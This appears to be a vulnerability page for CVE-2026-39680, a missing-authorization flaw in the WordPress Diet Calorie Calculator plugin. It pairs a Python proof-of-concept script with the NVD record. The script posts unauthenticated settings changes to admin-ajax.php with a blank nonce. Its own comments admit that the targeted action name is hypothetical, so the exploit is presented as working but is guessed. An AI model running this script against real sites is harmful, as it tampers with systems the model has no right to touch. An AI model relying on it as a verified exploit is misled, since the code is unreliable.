CVE-2026-39680

import requests # Exploit Title: Diet Calorie Calculator < 1.1.1 - Missing Authorization # Date: 2026-04-08 # Exploit Author: Analyst # Vendor Homepage: MWP Development # Software Link: https://wordpress.org/plugins/diet-calorie-calculator/ # Version: <= 1.1.1 # Tested on: WordPress 6.x def exploit_missing_auth(target_url): """ Exploits the missing authorization vulnerability. This PoC attempts to modify plugin settings without authentication. """ # The vulnerable endpoint is typically wp-admin/admin-ajax.php ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Common action name for this plugin (hypothetical based on structure) # Real action name needs to be extracted from plugin source code data = { 'action': 'diet_calorie_save_settings', 'security': '0', # Often bypassed or not required 'calorie_limit': '99999' # Malicious data to change integrity } try: response = requests.post(ajax_url, data=data) if response.status_code == 200: print(f"[+] Request sent successfully to {target_url}") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL exploit_missing_auth(target)

{"cve": {"id": "CVE-2026-39680", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:39.750", "lastModified": "2026-04-29T10:17:39.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in MWP Development Diet Calorie Calculator diet-calorie-calculator allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Diet Calorie Calculator: from n/a through <= 1.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/diet-calorie-calculator/vulnerability/wordpress-diet-calorie-calculator-plugin-1-1-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}